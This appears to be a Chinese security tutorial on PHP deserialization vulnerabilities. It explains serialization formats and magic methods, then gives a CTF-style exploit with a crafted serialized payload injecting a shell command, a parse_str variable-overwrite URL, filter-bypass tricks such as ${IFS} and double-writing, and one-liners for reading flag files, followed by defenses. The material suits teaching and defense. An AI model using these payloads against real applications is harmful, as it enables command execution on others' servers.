PHP反序列化漏洞简介及相关技巧小结
字数 1280 2025-08-18 11:38:52
PHP反序列化漏洞详解与实战技巧
一、PHP序列化与反序列化基础
1. 序列化概念
PHP序列化是将对象转换为字符串的过程,用于保存和转储对象。序列化仅保留对象成员变量,不保留函数方法。
序列化函数:serialize()
反序列化函数:unserialize()
2. 序列化格式解析
示例代码:
class Test {
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test1() { return 'this is test1'; }
}
$test = new Test();
echo serialize($test);
输出结果:
O:4:"Test":3:{s:1:"a";s:5:"ThisA";s:4:"*b";s:5:"ThisB";s:7:"Testc";s:5:"ThisC";}
格式说明:
O:表示对象4:对象名称长度"Test":对象名称3:对象成员数量s:1:"a":字符串类型,长度1,值为"a"s:5:"ThisA":字符串类型,长度5,值为"ThisA"
3. 不同访问修饰符的序列化表现
- public:直接显示变量名(如
s:1:"a") - protected:变量名前加
%00*%00(显示为s:4:"*b") - private:变量名前加
%00类名%00(显示为s:7:"Testc")
二、魔术方法与执行顺序
1. 重要魔术方法
__construct():对象创建时调用__destruct():对象销毁时调用__toString():对象被当作字符串使用时调用__sleep():对象被序列化前调用__wakeup():对象被反序列化后调用
2. 执行顺序示例
class Test {
public function __construct() { echo 'construct run'; }
public function __destruct() { echo 'destruct run'; }
public function __toString() { return 'toString run'; }
public function __sleep() { echo 'sleep run'; return []; }
public function __wakeup() { echo 'wakeup run'; }
}
$test = new Test(); // 触发__construct
$sTest = serialize($test); // 先触发__sleep,再序列化
$usTest = unserialize($sTest);// 先反序列化,再触发__wakeup
$string = 'hello '.$test; // 触发__toString
// 脚本结束触发__destruct
三、反序列化漏洞利用
1. 漏洞原理
当反序列化用户可控的数据时,如果类中存在危险方法(如__destruct()中的call_user_func_array()),攻击者可以构造恶意序列化字符串执行任意代码。
2. 典型漏洞代码分析
class come {
private $method;
private $args;
function __wakeup() {
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v));
}
}
function waf($str) {
$str = preg_replace("/[|]/", "", $str);
$str = str_replace('flag', '', $str);
return $str;
}
function echos($host) {
system("echos $host".$host);
}
function __destruct() {
if (in_array($this->method, array("echos"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
}
3. 利用步骤
-
变量覆盖:通过
parse_str()覆盖变量绕过条件判断?first=doller&a=var=give%26bbb=me%26ccc=flag(注意:
&需要URL编码为%26) -
构造恶意序列化数据:
O:4:"come":2:{ s:12:"%00come%00method";s:5:"echos"; s:10:"%00come%00args";a:1:{i:0;s:3:"&ls";} }%00表示NULL字符method必须为echos(通过in_array检查)args数组包含要执行的命令
-
绕过WAF过滤:
- 空格过滤:使用
${IFS}(Linux)或,/.(Windows) flag过滤:双写绕过(flflagag)
- 空格过滤:使用
4. 命令执行技巧
Linux:
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
KG=$'\x20flag.txt'&&cat$KG
Windows:
type.\flag.txt
type,flag.txt
四、防御措施
- 不要反序列化用户输入:这是最根本的解决方案
- 使用安全函数:如
json_encode()/json_decode() - 严格类型检查:反序列化前验证数据格式
- 限制魔术方法:避免在魔术方法中执行危险操作
- 使用PHP 7的
allowed_classes:unserialize($data, ['allowed_classes' => ['SafeClass']]);
五、实战注意事项
- NULL字符处理:private/protected属性序列化包含
%00,需要正确编码 - 执行顺序:
__wakeup()在反序列化后立即执行,__destruct()在对象销毁时执行 - 错误调试:开发时关闭
error_reporting(0)以便查看错误信息 - 属性数量匹配:序列化字符串中的属性数量需与实际一致
通过深入理解PHP序列化机制和魔术方法的执行流程,可以有效发现和利用反序列化漏洞,同时也能够更好地防御此类安全问题。